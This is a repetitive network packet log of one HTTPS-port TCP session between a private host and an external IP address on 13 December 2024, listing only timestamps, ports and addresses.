Dec 13, 2024 13:27:27.032006025 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.035649061 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.035708904 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.037465096 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.037523031 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.041040897 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.041126013 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.044070959 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.044121027 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.045840025 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.045888901 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.049079895 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.049139023 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.052350044 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.052407980 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.054938078 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.054986000 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.058223009 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.058274031 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.096286058 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.096348047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.172924042 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.172991991 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.174917936 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.174976110 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.176517010 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.176580906 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.179259062 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.179316998 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.181938887 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.181997061 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.183497906 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.183554888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.186184883 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.186271906 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.188709021 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.188769102 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.191462994 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.191519022 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.192851067 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.192903042 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.195570946 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.195627928 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.198175907 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.198333979 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.199634075 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.199691057 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.202198982 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.202255011 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.205087900 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.205151081 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.206475019 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.206530094 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.208997011 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.209175110 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.211927891 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.211992025 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.213727951 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.213788033 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.216408014 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.216463089 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.217861891 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.217920065 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.220478058 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.220540047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.223206997 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.223275900 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.224620104 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.224679947 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.227236986 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.227329969 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.229957104 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.230037928 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.231389999 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.231458902 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.234004974 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.234070063 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.236694098 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.236749887 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.238101959 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.238157988 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.365206003 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.365405083 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.365582943 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.365645885 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.367559910 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.367789030 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.369476080 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.369554043 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.370532036 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.370636940 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.372519970 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.372580051 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.374334097 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.374409914 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.376266003 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.376326084 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.377365112 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.377429962 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.379209995 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.379281998 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.381191015 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.381258965 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.382250071 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.382308006 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.384120941 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.384278059 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.386063099 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.386168957 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.387187958 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.387275934 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.389027119 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.389116049 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.390993118 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.391105890 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.392133951 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.392205000 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.394397020 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.394500971 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.395504951 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.395689011 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.397346973 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.397442102 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.399355888 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.399435997 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.400429010 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.400502920 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.402260065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.402367115 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.404205084 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.404341936 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.405324936 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.405466080 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.407166004 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.407294035 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.409146070 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.409233093 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.410238028 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.410386086 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.412228107 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.412528038 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.414064884 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.414159060 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.415160894 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.415222883 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.557512999 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.557666063 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.559206009 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.559335947 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.560198069 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.560451984 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.562160015 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.562253952 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.564132929 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.564455032 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.565360069 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.565517902 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.567017078 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.567293882 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.568862915 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.569009066 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.570121050 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.570218086 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.571796894 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.571866989 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.573859930 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.573998928 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.574858904 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.574986935 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.576813936 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.577156067 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.578677893 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.578788042 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.579715014 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.579847097 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.581621885 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.581696987 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.583580017 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.583647966 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.584693909 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.584778070 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.586992025 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.587167978 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.588084936 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.588172913 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.590039015 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.590204000 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.591965914 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.592052937 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.593065977 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.593159914 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.594909906 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.595016956 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.596883059 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.596965075 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.598119974 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.598414898 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.620095968 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.620158911 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.620176077 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.620188951 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.620224953 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.620249033 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.620419979 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.620498896 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.620595932 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.620663881 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.620697021 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.620709896 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.620724916 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.620889902 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.620987892 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.620995045 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.621061087 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.749726057 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.749886036 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.751332998 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.751399994 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.752338886 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.752402067 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.754534006 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.754605055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.756201029 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.756273985 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.758264065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.758363008 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.759428978 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.759541988 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.761046886 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.761116028 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.762948036 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.763039112 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.764225006 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.764316082 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.765959978 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.766021967 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.767887115 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.768106937 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.768892050 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.768954039 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.770931959 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.770996094 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.772814035 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.772891045 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.773801088 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.773875952 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.775984049 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.776067019 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.777765989 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.777925014 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.779201031 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.779268026 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.781158924 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.781243086 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.782252073 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.782341003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.784123898 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.784298897 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.786084890 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.786164999 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.787357092 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.787445068 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.789047956 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.789161921 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.790966988 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.791039944 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.792052031 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.792196989 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.793940067 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.794051886 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.795939922 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.796071053 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.796933889 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.797028065 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.799017906 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.799089909 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.800761938 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.800848961 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.942626953 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.942719936 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.944361925 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.944423914 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.945344925 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.945492983 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.947395086 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.947649002 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.949282885 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.949491024 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.950375080 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.950611115 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.952162027 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.952258110 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.954135895 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.954263926 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.955228090 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.955282927 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.957237005 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.957333088 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.959069014 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.959163904 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.960211992 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.960311890 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.962095976 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.962397099 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.963941097 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.964035988 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.965001106 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.965068102 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.967041016 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.967143059 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.968907118 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.968986034 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.970043898 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.970099926 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.972287893 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.972389936 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.973398924 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.973493099 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.975234032 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.975333929 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.977330923 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.977405071 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.978236914 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.978321075 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.980436087 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.980703115 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.982218027 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.982346058 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.983144999 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.983217955 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.985091925 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.985315084 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.987075090 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.987185001 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.988140106 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.988253117 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.990369081 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.990477085 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:27.992121935 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.992228031 CET	49712	443	192.168.2.10	91.134.10.168
